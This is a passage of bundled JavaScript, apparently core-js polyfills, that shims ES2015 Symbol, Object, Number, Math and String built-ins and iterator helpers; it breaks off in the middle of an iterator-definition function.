			'for': function _for(key) {
				return _has(SymbolRegistry, key += '') ? SymbolRegistry[key] : SymbolRegistry[key] = $Symbol(key);
			},
			// 19.4.2.5 Symbol.keyFor(sym)
			keyFor: function keyFor(sym) {
				if (!isSymbol(sym)) throw TypeError(sym + ' is not a symbol!');

				for (var key in SymbolRegistry) {
					if (SymbolRegistry[key] === sym) return key;
				}
			},
			useSetter: function useSetter() {
				setter = true;
			},
			useSimple: function useSimple() {
				setter = false;
			}
		});
		_export(_export.S + _export.F * !USE_NATIVE, 'Object', {
			// 19.1.2.2 Object.create(O [, Properties])
			create: $create,
			// 19.1.2.4 Object.defineProperty(O, P, Attributes)
			defineProperty: $defineProperty,
			// 19.1.2.3 Object.defineProperties(O, Properties)
			defineProperties: $defineProperties,
			// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P)
			getOwnPropertyDescriptor: $getOwnPropertyDescriptor,
			// 19.1.2.7 Object.getOwnPropertyNames(O)
			getOwnPropertyNames: $getOwnPropertyNames,
			// 19.1.2.8 Object.getOwnPropertySymbols(O)
			getOwnPropertySymbols: $getOwnPropertySymbols
		}); // 24.3.2 JSON.stringify(value [, replacer [, space]])

		$JSON && _export(_export.S + _export.F * (!USE_NATIVE || _fails(function () {
			var S = $Symbol(); // MS Edge converts symbol values to JSON as {}
			// WebKit converts symbol values to JSON as null
			// V8 throws on boxed symbols

			return _stringify([S]) != '[null]' || _stringify({
				a: S
			}) != '{}' || _stringify(Object(S)) != '{}';
		})), 'JSON', {
			stringify: function stringify(it) {
				var args = [it];
				var i = 1;
				var replacer, $replacer;

				while (arguments.length > i) {
					args.push(arguments[i++]);
				}

				$replacer = replacer = args[1];
				if (!_isObject(replacer) && it === undefined || isSymbol(it)) return; // IE8 returns string on undefined

				if (!_isArray(replacer)) replacer = function replacer(key, value) {
					if (typeof $replacer == 'function') value = $replacer.call(this, key, value);
					if (!isSymbol(value)) return value;
				};
				args[1] = replacer;
				return _stringify.apply($JSON, args);
			}
		}); // 19.4.3.4 Symbol.prototype[@@toPrimitive](hint)

		$Symbol[PROTOTYPE$2][TO_PRIMITIVE] || _hide($Symbol[PROTOTYPE$2], TO_PRIMITIVE, $Symbol[PROTOTYPE$2].valueOf); // 19.4.3.5 Symbol.prototype[@@toStringTag]

		_setToStringTag($Symbol, 'Symbol'); // 20.2.1.9 Math[@@toStringTag]

		_setToStringTag(Math, 'Math', true); // 24.3.3 JSON[@@toStringTag]

		_setToStringTag(_global.JSON, 'JSON', true);

		// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])


		_export(_export.S, 'Object', {
			create: _objectCreate
		});

		// 19.1.2.4 / 15.2.3.6 Object.defineProperty(O, P, Attributes)


		_export(_export.S + _export.F * !_descriptors, 'Object', {
			defineProperty: _objectDp.f
		});

		// 19.1.2.3 / 15.2.3.7 Object.defineProperties(O, Properties)


		_export(_export.S + _export.F * !_descriptors, 'Object', {
			defineProperties: _objectDps
		});

		// most Object methods by ES6 should accept primitives






		var _objectSap = function (KEY, exec) {
			var fn = (_core.Object || {})[KEY] || Object[KEY];
			var exp = {};
			exp[KEY] = exec(fn);
			_export(_export.S + _export.F * _fails(function () {
				fn(1);
			}), 'Object', exp);
		};

		// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P)


		var $getOwnPropertyDescriptor$1 = _objectGopd.f;

		_objectSap('getOwnPropertyDescriptor', function () {
			return function getOwnPropertyDescriptor(it, key) {
				return $getOwnPropertyDescriptor$1(_toIobject(it), key);
			};
		});

		// 7.1.13 ToObject(argument)


		var _toObject = function (it) {
			return Object(_defined(it));
		};

		// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O)




		var IE_PROTO$2 = _sharedKey('IE_PROTO');

		var ObjectProto$1 = Object.prototype;

		var _objectGpo = Object.getPrototypeOf || function (O) {
			O = _toObject(O);
			if (_has(O, IE_PROTO$2)) return O[IE_PROTO$2];

			if (typeof O.constructor == 'function' && O instanceof O.constructor) {
				return O.constructor.prototype;
			}

			return O instanceof Object ? ObjectProto$1 : null;
		};

		// 19.1.2.9 Object.getPrototypeOf(O)




		_objectSap('getPrototypeOf', function () {
			return function getPrototypeOf(it) {
				return _objectGpo(_toObject(it));
			};
		});

		// 19.1.2.14 Object.keys(O)




		_objectSap('keys', function () {
			return function keys(it) {
				return _objectKeys(_toObject(it));
			};
		});

		// 19.1.2.7 Object.getOwnPropertyNames(O)
		_objectSap('getOwnPropertyNames', function () {
			return _objectGopnExt.f;
		});

		// 19.1.2.5 Object.freeze(O)


		var meta = _meta.onFreeze;

		_objectSap('freeze', function ($freeze) {
			return function freeze(it) {
				return $freeze && _isObject(it) ? $freeze(meta(it)) : it;
			};
		});

		// 19.1.2.17 Object.seal(O)


		var meta$1 = _meta.onFreeze;

		_objectSap('seal', function ($seal) {
			return function seal(it) {
				return $seal && _isObject(it) ? $seal(meta$1(it)) : it;
			};
		});

		// 19.1.2.15 Object.preventExtensions(O)


		var meta$2 = _meta.onFreeze;

		_objectSap('preventExtensions', function ($preventExtensions) {
			return function preventExtensions(it) {
				return $preventExtensions && _isObject(it) ? $preventExtensions(meta$2(it)) : it;
			};
		});

		// 19.1.2.12 Object.isFrozen(O)


		_objectSap('isFrozen', function ($isFrozen) {
			return function isFrozen(it) {
				return _isObject(it) ? $isFrozen ? $isFrozen(it) : false : true;
			};
		});

		// 19.1.2.13 Object.isSealed(O)


		_objectSap('isSealed', function ($isSealed) {
			return function isSealed(it) {
				return _isObject(it) ? $isSealed ? $isSealed(it) : false : true;
			};
		});

		// 19.1.2.11 Object.isExtensible(O)


		_objectSap('isExtensible', function ($isExtensible) {
			return function isExtensible(it) {
				return _isObject(it) ? $isExtensible ? $isExtensible(it) : true : false;
			};
		});

		var $assign = Object.assign; // should work with symbols and should have deterministic property order (V8 bug)

		var _objectAssign = !$assign || _fails(function () {
			var A = {};
			var B = {}; // eslint-disable-next-line no-undef

			var S = Symbol();
			var K = 'abcdefghijklmnopqrst';
			A[S] = 7;
			K.split('').forEach(function (k) {
				B[k] = k;
			});
			return $assign({}, A)[S] != 7 || Object.keys($assign({}, B)).join('') != K;
		}) ? function assign(target, source) {
			// eslint-disable-line no-unused-vars
			var T = _toObject(target);
			var aLen = arguments.length;
			var index = 1;
			var getSymbols = _objectGops.f;
			var isEnum = _objectPie.f;

			while (aLen > index) {
				var S = _iobject(arguments[index++]);
				var keys = getSymbols ? _objectKeys(S).concat(getSymbols(S)) : _objectKeys(S);
				var length = keys.length;
				var j = 0;
				var key;

				while (length > j) {
					if (isEnum.call(S, key = keys[j++])) T[key] = S[key];
				}
			}

			return T;
		} : $assign;

		// 19.1.3.1 Object.assign(target, source)


		_export(_export.S + _export.F, 'Object', {
			assign: _objectAssign
		});

		// 7.2.9 SameValue(x, y)
		var _sameValue = Object.is || function is(x, y) {
			// eslint-disable-next-line no-self-compare
			return x === y ? x !== 0 || 1 / x === 1 / y : x != x && y != y;
		};

		// 19.1.3.10 Object.is(value1, value2)


		_export(_export.S, 'Object', {
			is: _sameValue
		});

		// Works with __proto__ only. Old v8 can't work with null proto objects.

		/* eslint-disable no-proto */




		var check = function check(O, proto) {
			_anObject(O);
			if (!_isObject(proto) && proto !== null) throw TypeError(proto + ": can't set as prototype!");
		};

		var _setProto = {
			set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line
				function (test, buggy, set) {
					try {
						set = _ctx(Function.call, _objectGopd.f(Object.prototype, '__proto__').set, 2);
						set(test, []);
						buggy = !(test instanceof Array);
					} catch (e) {
						buggy = true;
					}

					return function setPrototypeOf(O, proto) {
						check(O, proto);
						if (buggy) O.__proto__ = proto;else set(O, proto);
						return O;
					};
				}({}, false) : undefined),
			check: check
		};

		// 19.1.3.19 Object.setPrototypeOf(O, proto)


		_export(_export.S, 'Object', {
			setPrototypeOf: _setProto.set
		});

		// getting tag from 19.1.3.6 Object.prototype.toString()


		var TAG$1 = _wks('toStringTag'); // ES3 wrong here


		var ARG = _cof(function () {
			return arguments;
		}()) == 'Arguments'; // fallback for IE11 Script Access Denied error

		var tryGet = function tryGet(it, key) {
			try {
				return it[key];
			} catch (e) {
				/* empty */
			}
		};

		var _classof = function (it) {
			var O, T, B;
			return it === undefined ? 'Undefined' : it === null ? 'Null' // @@toStringTag case
				: typeof (T = tryGet(O = Object(it), TAG$1)) == 'string' ? T // builtinTag case
					: ARG ? _cof(O) // ES3 arguments fallback
						: (B = _cof(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : B;
		};

		var test = {};
		test[_wks('toStringTag')] = 'z';

		if (test + '' != '[object z]') {
			_redefine(Object.prototype, 'toString', function toString() {
				return '[object ' + _classof(this) + ']';
			}, true);
		}

		// fast apply, http://jsperf.lnkit.com/fast-apply/5
		var _invoke = function (fn, args, that) {
			var un = that === undefined;

			switch (args.length) {
				case 0:
					return un ? fn() : fn.call(that);

				case 1:
					return un ? fn(args[0]) : fn.call(that, args[0]);

				case 2:
					return un ? fn(args[0], args[1]) : fn.call(that, args[0], args[1]);

				case 3:
					return un ? fn(args[0], args[1], args[2]) : fn.call(that, args[0], args[1], args[2]);

				case 4:
					return un ? fn(args[0], args[1], args[2], args[3]) : fn.call(that, args[0], args[1], args[2], args[3]);
			}

			return fn.apply(that, args);
		};

		var arraySlice = [].slice;
		var factories = {};

		var construct = function construct(F, len, args) {
			if (!(len in factories)) {
				for (var n = [], i = 0; i < len; i++) {
					n[i] = 'a[' + i + ']';
				} // eslint-disable-next-line no-new-func


				factories[len] = Function('F,a', 'return new F(' + n.join(',') + ')');
			}

			return factories[len](F, args);
		};

		var _bind = Function.bind || function bind(that
												   /* , ...args */
		) {
			var fn = _aFunction(this);
			var partArgs = arraySlice.call(arguments, 1);

			var bound = function bound()
				/* args... */
			{
				var args = partArgs.concat(arraySlice.call(arguments));
				return this instanceof bound ? construct(fn, args.length, args) : _invoke(fn, args, that);
			};

			if (_isObject(fn.prototype)) bound.prototype = fn.prototype;
			return bound;
		};

		// 19.2.3.2 / 15.3.4.5 Function.prototype.bind(thisArg, args...)


		_export(_export.P, 'Function', {
			bind: _bind
		});

		var dP$2 = _objectDp.f;

		var FProto = Function.prototype;
		var nameRE = /^\s*function ([^ (]*)/;
		var NAME = 'name'; // 19.2.4.2 name

		NAME in FProto || _descriptors && dP$2(FProto, NAME, {
			configurable: true,
			get: function get() {
				try {
					return ('' + this).match(nameRE)[1];
				} catch (e) {
					return '';
				}
			}
		});

		var HAS_INSTANCE = _wks('hasInstance');

		var FunctionProto = Function.prototype; // 19.2.3.6 Function.prototype[@@hasInstance](V)

		if (!(HAS_INSTANCE in FunctionProto)) _objectDp.f(FunctionProto, HAS_INSTANCE, {
			value: function value(O) {
				if (typeof this != 'function' || !_isObject(O)) return false;
				if (!_isObject(this.prototype)) return O instanceof this; // for environment w/o native `@@hasInstance` logic enough `instanceof`, but add this:

				while (O = _objectGpo(O)) {
					if (this.prototype === O) return true;
				}

				return false;
			}
		});

		var _stringWs = "\t\n\x0B\f\r \xA0\u1680\u180E\u2000\u2001\u2002\u2003" + "\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF";

		var space = '[' + _stringWs + ']';
		var non = "\u200B\x85";
		var ltrim = RegExp('^' + space + space + '*');
		var rtrim = RegExp(space + space + '*$');

		var exporter = function exporter(KEY, exec, ALIAS) {
			var exp = {};
			var FORCE = _fails(function () {
				return !!_stringWs[KEY]() || non[KEY]() != non;
			});
			var fn = exp[KEY] = FORCE ? exec(trim) : _stringWs[KEY];
			if (ALIAS) exp[ALIAS] = fn;
			_export(_export.P + _export.F * FORCE, 'String', exp);
		}; // 1 -> String#trimLeft
		// 2 -> String#trimRight
		// 3 -> String#trim


		var trim = exporter.trim = function (string, TYPE) {
			string = String(_defined(string));
			if (TYPE & 1) string = string.replace(ltrim, '');
			if (TYPE & 2) string = string.replace(rtrim, '');
			return string;
		};

		var _stringTrim = exporter;

		var $parseInt = _global.parseInt;

		var $trim = _stringTrim.trim;



		var hex = /^[-+]?0[xX]/;
		var _parseInt = $parseInt(_stringWs + '08') !== 8 || $parseInt(_stringWs + '0x16') !== 22 ? function parseInt(str, radix) {
			var string = $trim(String(str), 3);
			return $parseInt(string, radix >>> 0 || (hex.test(string) ? 16 : 10));
		} : $parseInt;

		// 18.2.5 parseInt(string, radix)


		_export(_export.G + _export.F * (parseInt != _parseInt), {
			parseInt: _parseInt
		});

		var $parseFloat = _global.parseFloat;

		var $trim$1 = _stringTrim.trim;

		var _parseFloat = 1 / $parseFloat(_stringWs + '-0') !== -Infinity ? function parseFloat(str) {
			var string = $trim$1(String(str), 3);
			var result = $parseFloat(string);
			return result === 0 && string.charAt(0) == '-' ? -0 : result;
		} : $parseFloat;

		// 18.2.4 parseFloat(string)


		_export(_export.G + _export.F * (parseFloat != _parseFloat), {
			parseFloat: _parseFloat
		});

		var setPrototypeOf = _setProto.set;

		var _inheritIfRequired = function (that, target, C) {
			var S = target.constructor;
			var P;

			if (S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && _isObject(P) && setPrototypeOf) {
				setPrototypeOf(that, P);
			}

			return that;
		};

		var gOPN$2 = _objectGopn.f;

		var gOPD$2 = _objectGopd.f;

		var dP$3 = _objectDp.f;

		var $trim$2 = _stringTrim.trim;

		var NUMBER = 'Number';
		var $Number = _global[NUMBER];
		var Base = $Number;
		var proto = $Number.prototype; // Opera ~12 has broken Object#toString

		var BROKEN_COF = _cof(_objectCreate(proto)) == NUMBER;
		var TRIM = 'trim' in String.prototype; // 7.1.3 ToNumber(argument)

		var toNumber = function toNumber(argument) {
			var it = _toPrimitive(argument, false);

			if (typeof it == 'string' && it.length > 2) {
				it = TRIM ? it.trim() : $trim$2(it, 3);
				var first = it.charCodeAt(0);
				var third, radix, maxCode;

				if (first === 43 || first === 45) {
					third = it.charCodeAt(2);
					if (third === 88 || third === 120) return NaN; // Number('+0x1') should be NaN, old V8 fix
				} else if (first === 48) {
					switch (it.charCodeAt(1)) {
						case 66:
						case 98:
							radix = 2;
							maxCode = 49;
							break;
						// fast equal /^0b[01]+$/i

						case 79:
						case 111:
							radix = 8;
							maxCode = 55;
							break;
						// fast equal /^0o[0-7]+$/i

						default:
							return +it;
					}

					for (var digits = it.slice(2), i = 0, l = digits.length, code; i < l; i++) {
						code = digits.charCodeAt(i); // parseInt parses a string to a first unavailable symbol
						// but ToNumber should return NaN if a string contains unavailable symbols

						if (code < 48 || code > maxCode) return NaN;
					}

					return parseInt(digits, radix);
				}
			}

			return +it;
		};

		if (!$Number(' 0o1') || !$Number('0b1') || $Number('+0x1')) {
			$Number = function Number(value) {
				var it = arguments.length < 1 ? 0 : value;
				var that = this;
				return that instanceof $Number // check on 1..constructor(foo) case
				&& (BROKEN_COF ? _fails(function () {
					proto.valueOf.call(that);
				}) : _cof(that) != NUMBER) ? _inheritIfRequired(new Base(toNumber(it)), that, $Number) : toNumber(it);
			};

			for (var keys = _descriptors ? gOPN$2(Base) : ( // ES3:
				'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' + // ES6 (in case, if modules with ES6 Number statics required before):
				'EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,' + 'MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger').split(','), j$1 = 0, key; keys.length > j$1; j$1++) {
				if (_has(Base, key = keys[j$1]) && !_has($Number, key)) {
					dP$3($Number, key, gOPD$2(Base, key));
				}
			}

			$Number.prototype = proto;
			proto.constructor = $Number;

			_redefine(_global, NUMBER, $Number);
		}

		var _aNumberValue = function (it, msg) {
			if (typeof it != 'number' && _cof(it) != 'Number') throw TypeError(msg);
			return +it;
		};

		var _stringRepeat = function repeat(count) {
			var str = String(_defined(this));
			var res = '';
			var n = _toInteger(count);
			if (n < 0 || n == Infinity) throw RangeError("Count can't be negative");

			for (; n > 0; (n >>>= 1) && (str += str)) {
				if (n & 1) res += str;
			}

			return res;
		};

		var $toFixed = 1.0.toFixed;
		var floor$1 = Math.floor;
		var data = [0, 0, 0, 0, 0, 0];
		var ERROR = 'Number.toFixed: incorrect invocation!';
		var ZERO = '0';

		var multiply = function multiply(n, c) {
			var i = -1;
			var c2 = c;

			while (++i < 6) {
				c2 += n * data[i];
				data[i] = c2 % 1e7;
				c2 = floor$1(c2 / 1e7);
			}
		};

		var divide = function divide(n) {
			var i = 6;
			var c = 0;

			while (--i >= 0) {
				c += data[i];
				data[i] = floor$1(c / n);
				c = c % n * 1e7;
			}
		};

		var numToString = function numToString() {
			var i = 6;
			var s = '';

			while (--i >= 0) {
				if (s !== '' || i === 0 || data[i] !== 0) {
					var t = String(data[i]);
					s = s === '' ? t : s + _stringRepeat.call(ZERO, 7 - t.length) + t;
				}
			}

			return s;
		};

		var pow = function pow(x, n, acc) {
			return n === 0 ? acc : n % 2 === 1 ? pow(x, n - 1, acc * x) : pow(x * x, n / 2, acc);
		};

		var log = function log(x) {
			var n = 0;
			var x2 = x;

			while (x2 >= 4096) {
				n += 12;
				x2 /= 4096;
			}

			while (x2 >= 2) {
				n += 1;
				x2 /= 2;
			}

			return n;
		};

		_export(_export.P + _export.F * (!!$toFixed && (0.00008.toFixed(3) !== '0.000' || 0.9.toFixed(0) !== '1' || 1.255.toFixed(2) !== '1.25' || 1000000000000000128.0.toFixed(0) !== '1000000000000000128') || !_fails(function () {
			// V8 ~ Android 4.3-
			$toFixed.call({});
		})), 'Number', {
			toFixed: function toFixed(fractionDigits) {
				var x = _aNumberValue(this, ERROR);
				var f = _toInteger(fractionDigits);
				var s = '';
				var m = ZERO;
				var e, z, j, k;
				if (f < 0 || f > 20) throw RangeError(ERROR); // eslint-disable-next-line no-self-compare

				if (x != x) return 'NaN';
				if (x <= -1e21 || x >= 1e21) return String(x);

				if (x < 0) {
					s = '-';
					x = -x;
				}

				if (x > 1e-21) {
					e = log(x * pow(2, 69, 1)) - 69;
					z = e < 0 ? x * pow(2, -e, 1) : x / pow(2, e, 1);
					z *= 0x10000000000000;
					e = 52 - e;

					if (e > 0) {
						multiply(0, z);
						j = f;

						while (j >= 7) {
							multiply(1e7, 0);
							j -= 7;
						}

						multiply(pow(10, j, 1), 0);
						j = e - 1;

						while (j >= 23) {
							divide(1 << 23);
							j -= 23;
						}

						divide(1 << j);
						multiply(1, 1);
						divide(2);
						m = numToString();
					} else {
						multiply(0, z);
						multiply(1 << -e, 0);
						m = numToString() + _stringRepeat.call(ZERO, f);
					}
				}

				if (f > 0) {
					k = m.length;
					m = s + (k <= f ? '0.' + _stringRepeat.call(ZERO, f - k) + m : m.slice(0, k - f) + '.' + m.slice(k - f));
				} else {
					m = s + m;
				}

				return m;
			}
		});

		var $toPrecision = 1.0.toPrecision;
		_export(_export.P + _export.F * (_fails(function () {
			// IE7-
			return $toPrecision.call(1, undefined) !== '1';
		}) || !_fails(function () {
			// V8 ~ Android 4.3-
			$toPrecision.call({});
		})), 'Number', {
			toPrecision: function toPrecision(precision) {
				var that = _aNumberValue(this, 'Number#toPrecision: incorrect invocation!');
				return precision === undefined ? $toPrecision.call(that) : $toPrecision.call(that, precision);
			}
		});

		// 20.1.2.1 Number.EPSILON


		_export(_export.S, 'Number', {
			EPSILON: Math.pow(2, -52)
		});

		// 20.1.2.2 Number.isFinite(number)


		var _isFinite = _global.isFinite;

		_export(_export.S, 'Number', {
			isFinite: function isFinite(it) {
				return typeof it == 'number' && _isFinite(it);
			}
		});

		// 20.1.2.3 Number.isInteger(number)


		var floor$2 = Math.floor;

		var _isInteger = function isInteger(it) {
			return !_isObject(it) && isFinite(it) && floor$2(it) === it;
		};

		// 20.1.2.3 Number.isInteger(number)


		_export(_export.S, 'Number', {
			isInteger: _isInteger
		});

		// 20.1.2.4 Number.isNaN(number)


		_export(_export.S, 'Number', {
			isNaN: function isNaN(number) {
				// eslint-disable-next-line no-self-compare
				return number != number;
			}
		});

		// 20.1.2.5 Number.isSafeInteger(number)




		var abs = Math.abs;
		_export(_export.S, 'Number', {
			isSafeInteger: function isSafeInteger(number) {
				return _isInteger(number) && abs(number) <= 0x1fffffffffffff;
			}
		});

		// 20.1.2.6 Number.MAX_SAFE_INTEGER


		_export(_export.S, 'Number', {
			MAX_SAFE_INTEGER: 0x1fffffffffffff
		});

		// 20.1.2.10 Number.MIN_SAFE_INTEGER


		_export(_export.S, 'Number', {
			MIN_SAFE_INTEGER: -0x1fffffffffffff
		});

		// 20.1.2.12 Number.parseFloat(string)


		_export(_export.S + _export.F * (Number.parseFloat != _parseFloat), 'Number', {
			parseFloat: _parseFloat
		});

		// 20.1.2.13 Number.parseInt(string, radix)


		_export(_export.S + _export.F * (Number.parseInt != _parseInt), 'Number', {
			parseInt: _parseInt
		});

		// 20.2.2.20 Math.log1p(x)
		var _mathLog1p = Math.log1p || function log1p(x) {
			return (x = +x) > -1e-8 && x < 1e-8 ? x - x * x / 2 : Math.log(1 + x);
		};

		// 20.2.2.3 Math.acosh(x)




		var sqrt = Math.sqrt;
		var $acosh = Math.acosh;
		_export(_export.S + _export.F * !($acosh // V8 bug: https://code.google.com/p/v8/issues/detail?id=3509
			&& Math.floor($acosh(Number.MAX_VALUE)) == 710 // Tor Browser bug: Math.acosh(Infinity) -> NaN
			&& $acosh(Infinity) == Infinity), 'Math', {
			acosh: function acosh(x) {
				return (x = +x) < 1 ? NaN : x > 94906265.62425156 ? Math.log(x) + Math.LN2 : _mathLog1p(x - 1 + sqrt(x - 1) * sqrt(x + 1));
			}
		});

		// 20.2.2.5 Math.asinh(x)


		var $asinh = Math.asinh;

		function asinh(x) {
			return !isFinite(x = +x) || x == 0 ? x : x < 0 ? -asinh(-x) : Math.log(x + Math.sqrt(x * x + 1));
		} // Tor Browser bug: Math.asinh(0) -> -0


		_export(_export.S + _export.F * !($asinh && 1 / $asinh(0) > 0), 'Math', {
			asinh: asinh
		});

		// 20.2.2.7 Math.atanh(x)


		var $atanh = Math.atanh; // Tor Browser bug: Math.atanh(-0) -> 0

		_export(_export.S + _export.F * !($atanh && 1 / $atanh(-0) < 0), 'Math', {
			atanh: function atanh(x) {
				return (x = +x) == 0 ? x : Math.log((1 + x) / (1 - x)) / 2;
			}
		});

		// 20.2.2.28 Math.sign(x)
		var _mathSign = Math.sign || function sign(x) {
			// eslint-disable-next-line no-self-compare
			return (x = +x) == 0 || x != x ? x : x < 0 ? -1 : 1;
		};

		// 20.2.2.9 Math.cbrt(x)




		_export(_export.S, 'Math', {
			cbrt: function cbrt(x) {
				return _mathSign(x = +x) * Math.pow(Math.abs(x), 1 / 3);
			}
		});

		// 20.2.2.11 Math.clz32(x)


		_export(_export.S, 'Math', {
			clz32: function clz32(x) {
				return (x >>>= 0) ? 31 - Math.floor(Math.log(x + 0.5) * Math.LOG2E) : 32;
			}
		});

		// 20.2.2.12 Math.cosh(x)


		var exp = Math.exp;
		_export(_export.S, 'Math', {
			cosh: function cosh(x) {
				return (exp(x = +x) + exp(-x)) / 2;
			}
		});

		// 20.2.2.14 Math.expm1(x)
		var $expm1 = Math.expm1;
		var _mathExpm1 = !$expm1 // Old FF bug
		|| $expm1(10) > 22025.465794806719 || $expm1(10) < 22025.4657948067165168 // Tor Browser bug
		|| $expm1(-2e-17) != -2e-17 ? function expm1(x) {
			return (x = +x) == 0 ? x : x > -1e-6 && x < 1e-6 ? x + x * x / 2 : Math.exp(x) - 1;
		} : $expm1;

		// 20.2.2.14 Math.expm1(x)




		_export(_export.S + _export.F * (_mathExpm1 != Math.expm1), 'Math', {
			expm1: _mathExpm1
		});

		// 20.2.2.16 Math.fround(x)


		var pow$1 = Math.pow;
		var EPSILON = pow$1(2, -52);
		var EPSILON32 = pow$1(2, -23);
		var MAX32 = pow$1(2, 127) * (2 - EPSILON32);
		var MIN32 = pow$1(2, -126);

		var roundTiesToEven = function roundTiesToEven(n) {
			return n + 1 / EPSILON - 1 / EPSILON;
		};

		var _mathFround = Math.fround || function fround(x) {
			var $abs = Math.abs(x);
			var $sign = _mathSign(x);
			var a, result;
			if ($abs < MIN32) return $sign * roundTiesToEven($abs / MIN32 / EPSILON32) * MIN32 * EPSILON32;
			a = (1 + EPSILON32 / EPSILON) * $abs;
			result = a - (a - $abs); // eslint-disable-next-line no-self-compare

			if (result > MAX32 || result != result) return $sign * Infinity;
			return $sign * result;
		};

		// 20.2.2.16 Math.fround(x)


		_export(_export.S, 'Math', {
			fround: _mathFround
		});

		// 20.2.2.17 Math.hypot([value1[, value2[, ... ]]])


		var abs$1 = Math.abs;
		_export(_export.S, 'Math', {
			hypot: function hypot(value1, value2) {
				// eslint-disable-line no-unused-vars
				var sum = 0;
				var i = 0;
				var aLen = arguments.length;
				var larg = 0;
				var arg, div;

				while (i < aLen) {
					arg = abs$1(arguments[i++]);

					if (larg < arg) {
						div = larg / arg;
						sum = sum * div * div + 1;
						larg = arg;
					} else if (arg > 0) {
						div = arg / larg;
						sum += div * div;
					} else sum += arg;
				}

				return larg === Infinity ? Infinity : larg * Math.sqrt(sum);
			}
		});

		// 20.2.2.18 Math.imul(x, y)


		var $imul = Math.imul; // some WebKit versions fails with big numbers, some has wrong arity

		_export(_export.S + _export.F * _fails(function () {
			return $imul(0xffffffff, 5) != -5 || $imul.length != 2;
		}), 'Math', {
			imul: function imul(x, y) {
				var UINT16 = 0xffff;
				var xn = +x;
				var yn = +y;
				var xl = UINT16 & xn;
				var yl = UINT16 & yn;
				return 0 | xl * yl + ((UINT16 & xn >>> 16) * yl + xl * (UINT16 & yn >>> 16) << 16 >>> 0);
			}
		});

		// 20.2.2.21 Math.log10(x)


		_export(_export.S, 'Math', {
			log10: function log10(x) {
				return Math.log(x) * Math.LOG10E;
			}
		});

		// 20.2.2.20 Math.log1p(x)


		_export(_export.S, 'Math', {
			log1p: _mathLog1p
		});

		// 20.2.2.22 Math.log2(x)


		_export(_export.S, 'Math', {
			log2: function log2(x) {
				return Math.log(x) / Math.LN2;
			}
		});

		// 20.2.2.28 Math.sign(x)


		_export(_export.S, 'Math', {
			sign: _mathSign
		});

		// 20.2.2.30 Math.sinh(x)




		var exp$1 = Math.exp; // V8 near Chromium 38 has a problem with very small numbers

		_export(_export.S + _export.F * _fails(function () {
			return !Math.sinh(-2e-17) != -2e-17;
		}), 'Math', {
			sinh: function sinh(x) {
				return Math.abs(x = +x) < 1 ? (_mathExpm1(x) - _mathExpm1(-x)) / 2 : (exp$1(x - 1) - exp$1(-x - 1)) * (Math.E / 2);
			}
		});

		// 20.2.2.33 Math.tanh(x)




		var exp$2 = Math.exp;
		_export(_export.S, 'Math', {
			tanh: function tanh(x) {
				var a = _mathExpm1(x = +x);
				var b = _mathExpm1(-x);
				return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (exp$2(x) + exp$2(-x));
			}
		});

		// 20.2.2.34 Math.trunc(x)


		_export(_export.S, 'Math', {
			trunc: function trunc(it) {
				return (it > 0 ? Math.floor : Math.ceil)(it);
			}
		});

		var fromCharCode = String.fromCharCode;
		var $fromCodePoint = String.fromCodePoint; // length should be 1, old FF problem

		_export(_export.S + _export.F * (!!$fromCodePoint && $fromCodePoint.length != 1), 'String', {
			// 21.1.2.2 String.fromCodePoint(...codePoints)
			fromCodePoint: function fromCodePoint(x) {
				// eslint-disable-line no-unused-vars
				var res = [];
				var aLen = arguments.length;
				var i = 0;
				var code;

				while (aLen > i) {
					code = +arguments[i++];
					if (_toAbsoluteIndex(code, 0x10ffff) !== code) throw RangeError(code + ' is not a valid code point');
					res.push(code < 0x10000 ? fromCharCode(code) : fromCharCode(((code -= 0x10000) >> 10) + 0xd800, code % 0x400 + 0xdc00));
				}

				return res.join('');
			}
		});

		_export(_export.S, 'String', {
			// 21.1.2.4 String.raw(callSite, ...substitutions)
			raw: function raw(callSite) {
				var tpl = _toIobject(callSite.raw);
				var len = _toLength(tpl.length);
				var aLen = arguments.length;
				var res = [];
				var i = 0;

				while (len > i) {
					res.push(String(tpl[i++]));
					if (i < aLen) res.push(String(arguments[i]));
				}

				return res.join('');
			}
		});

		_stringTrim('trim', function ($trim) {
			return function trim() {
				return $trim(this, 3);
			};
		});

		// true  -> String#at
		// false -> String#codePointAt


		var _stringAt = function (TO_STRING) {
			return function (that, pos) {
				var s = String(_defined(that));
				var i = _toInteger(pos);
				var l = s.length;
				var a, b;
				if (i < 0 || i >= l) return TO_STRING ? '' : undefined;
				a = s.charCodeAt(i);
				return a < 0xd800 || a > 0xdbff || i + 1 === l || (b = s.charCodeAt(i + 1)) < 0xdc00 || b > 0xdfff ? TO_STRING ? s.charAt(i) : a : TO_STRING ? s.slice(i, i + 2) : (a - 0xd800 << 10) + (b - 0xdc00) + 0x10000;
			};
		};

		var _iterators = {};

		var IteratorPrototype = {}; // 25.1.2.1.1 %IteratorPrototype%[@@iterator]()

		_hide(IteratorPrototype, _wks('iterator'), function () {
			return this;
		});

		var _iterCreate = function (Constructor, NAME, next) {
			Constructor.prototype = _objectCreate(IteratorPrototype, {
				next: _propertyDesc(1, next)
			});
			_setToStringTag(Constructor, NAME + ' Iterator');
		};

		var ITERATOR = _wks('iterator');

		var BUGGY = !([].keys && 'next' in [].keys()); // Safari has buggy iterators w/o `next`

		var FF_ITERATOR = '@@iterator';
		var KEYS = 'keys';
		var VALUES = 'values';

		var returnThis = function returnThis() {
			return this;
		};

		var _iterDefine = function (Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED) {
			_iterCreate(Constructor, NAME, next);

			var getMethod = function getMethod(kind) {
				if (!BUGGY && kind in proto) return proto[kind];

				switch (kind) {
					case KEYS:
						return function keys() {
							return new Constructor(this, kind);
						};

					case VALUES:
						return function values() {
							return new Constructor(this, kind);
						};
				}

				return function entries() {
